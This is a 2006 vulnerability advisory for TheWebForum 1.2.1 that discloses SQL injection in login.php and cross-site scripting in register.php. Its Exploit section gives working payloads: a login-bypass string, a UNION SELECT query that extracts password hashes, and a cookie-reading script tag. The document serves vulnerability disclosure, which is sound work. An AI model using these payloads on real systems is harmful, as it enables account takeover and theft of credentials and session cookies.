[eVuln] TheWebForum Script Insertion and Authentication Bypass

[alex@evuln.com]

New eVuln Advisory:
TheWebForum Script Insertion and Authentication Bypass

--------------------Summary----------------
Vendor: TheWebForum Group
Software: TheWebForum
Sowtware's Web Site: http://sourceforge.net/projects/twf/
Versions: 1.2.1
Critical Level: Moderate
Type: Multiple Vulnerabilities
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
Published: 2006.01.06
eVuln ID: EV0017

-----------------Description--------------
TheWebForum has multiple vulnerabilities.

1. SQL injection and authentication bypass.

Vulnerable script:
login.php

Variables $_POST['username'] or $u isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code and log in without password.

SQL Injection Condition: gpc_magic_quotes=off


2. Cross-Site Scripting

Vulnerable script: register.php

Variable $www isn't properly sanitized and may contain arbitrary html or script code.



--------------Exploit---------------------
Authentication bypass example (SQL Injection):
http://host/twf/login.php
User Name: a' or 'a'='a'/*
Password: anypassword

Get user's password hash example (SQL Injection):
http://host/twf/login.php
User Name: a' union select N,password,3 from users/*
User name will contain password's hash of user with ID=N

JavaScript insertion (XSS):
http://host/twf/register.php
Website value: <script>alert(document.cookie)</script>


--------------Solution---------------------
No Patch available.

--------------Credit---------------------
Original Advisory:
http://evuln.com/vulns/17/summary.html

Discovered by: Aliaksandr Hartsuyeu (eVuln.com)